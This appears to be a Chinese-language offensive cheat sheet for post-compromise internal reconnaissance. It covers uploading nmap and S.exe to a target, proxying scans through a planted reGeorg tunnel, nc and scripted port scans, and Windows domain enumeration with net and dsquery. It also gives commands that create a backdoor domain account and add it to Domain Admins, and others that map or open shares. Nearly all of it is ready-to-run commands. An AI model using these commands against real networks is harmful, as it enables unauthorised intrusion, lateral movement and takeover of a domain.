端口扫描
nmap是一个跨平台的信息收集工具,基于命令行,当然也有图形化界面,znmap,当进入内网后,操作与外网扫描基本一致,只是把对一个ip改为对一系列的ip地址段进行扫描
namp
1.直接上传nmap到目标机
1.1扫描内网有多少主机在线
nmap.exe -sP 内网地址段或单个ip
内网地址段:192.168.x.x 172.16.x.x -172.31.x.x 10.x.x.x
2.对在线的某台机器进行端口扫描
nmap.exe ip
2.通过代理不上传远程使用nmap
1.上传regeorg到内网的dmz
2.通过regeorg进行代理内网的dmz机
python reGeorgSocksProxy.py -u (regeorg上传地址/tunnel.aspx)
3.修改/etc/proxychains.conf配置文件
socks5 127.0.0.1 8888
4.通过代理的形式使用nmap进行端口扫描
proxychains nmap -sT -Pn -p 80,445,3389 10.1.1.1
s扫描器
S.exe,这个程序是windows下的一款高速扫描程序
1.先将S.exe上传
2.使用
2.1 TCP扫描218.80.12.1到218.80.12.123这IP段中的80端口,最大并发线程是512
S.exe TCP 218.80.12.1 218.80.12.123 80 512
2.2 TCP扫描218.80.12.1到218.80.12.123这IP段中的21和5631端口,最大并发线程是512,并显示Banner
S.exe TCP 218.80.12.1 218.80.12.123 21,5631 512 /Banner
2.3 TCP扫描218.80.12.1到218.80.12.12这IP段中的1到200端口,最大并发线程是512
S.exe TCP 218.80.12.1 218.80.12.12 1-200 512
2.4 TCP扫描218.80.12.7这IP中的1到200端口,最大并发线程是512,将结果写入Result.txt,扫描结束后Result.txt就存放在你的S扫描器所在的目录里,刚才扫描的东西都在里面
S.exe TCP 218.80.12.7 1-200 512 /save
2.5 SYN扫描218.80.12.7这IP中的1到65535端口,将结果写入Result.txt,扫描结束后Result.txt就存放在你的S扫描器所在的目录里,刚才扫描的东西都在里面
S.exe SYN 218.80.12.7 1-65535 /Save
2.6 SYN扫描218.80.12.1到218.80.12.255这IP段中的21端口,将结果写入Result.tx,扫描结束后Result.txt就存放在你的S扫描器所在的目录里,刚才扫描的东西都在里面
S.exe SYN 218.80.12.1 218.80.12.255 21 /Save
nc
nc是一个网络工具,可以用来扫描端口
使用:
扫描一个ip的80-445端口
nc -nvv -w2 -z ip 80-445
自写脚本
php,python,perl,ruby,java,c等程序都可以用来做端口扫描,同时还可以使用bat或者shell脚本来做扫描
python
#!/usr/bin/env python
import socket
def get_ip_status(ip,port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
server.connect((ip,port))
print('{0} port {1} is open'.format(ip, port))
except Exception as err:
print('{0} port {1} is not open'.format(ip,port))
finally:
server.close()
if __name__ == '__main__':
host = '10.0.0.11'
for port in range(20,100):
get_ip_status(host,port)
php
$arr = [80,8080,3306];
foreach ($arr as $port) {
$fp = @fsockopen('172.29.159.198',$port,$errno,$errstr,0.1);
if (!$fp) {
echo $port." closed\n";
}else{
echo $port." Opend\n";
}
}
常见信息收集命令
1.获取当前组的计算机名
使用条件:server和computer Browser服务都开启
net view
2.获取当前所有域
net view /domain
3.获取workgroup工作组中的计算机列表
net view /domain:hacker
4.获取计算机名对应的IP地址
ping -n 1 -4 dc
如果计算机名很多的时候,可以利用bat批量ping获取ip
@echo off
setlocal ENABLEDELAYEDEXPANSION
@FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO (
@FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO (
@FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j)
)
)
以下执行命令时候会发送到域控查询,如果渗透的机器不是域用户权限,则会报错
5.查看域中用户
dsquery user 或者 net user /domain
6.查看域用户组
net group /domain
7.查询域管理员
net group "Domain Admins" /domain
Admins处替换其他域组名称,即可查看其他域组内容
8.添加域用户
添加普通域用户
net user lp 123.com /add /domain
将普通域用户提升为域管理员
net group "Domain Admins" lp /add /domain
查看用户信息
net user lp /domain
9.查看当前计算机名,全名,用户名,系统版本,工作站域,登陆域
net config workstation
10.查询所有计算机名称
dsquery computer
net group "Domain Computers" /domain
net group "Domain Controllers" /domain
11.net命令
映射磁盘到本地(高权限用户)
net use z: \\计算机名或者ip\盘符或者分区
查看共享(看不到$的隐藏共享)
net view \\ip
开启一个共享名为app$,在d:\config
net share app$=d:\config
12.路由追踪
tracert 公网dns地址
13.定位域控
查看域时间及域服务器的名字
net time /domain
查询域控
net group "Domain Controllers" /domain
通过ipconfig配置查找dns地址
ipconfig /all 拿到dns地址
ping -a dns地址 返回计算机名
14.dsquery的一些使用
列出该域内所有的机器名
dsquery computer domain root -limit 65535 && net group "domain computers" /domain
列出该域内所有用户名
dsquery user domain root -limit 65535 && net user /domain
列出该域内网段划分
dsquery subnet
列出该域内分组
dsquery group && net group /domain
列出该域内组织单位
dsquery ou
列出该域内域控制服务器
dsquery server && net time /domain
列出域管理账号
net group "domain admins" /domain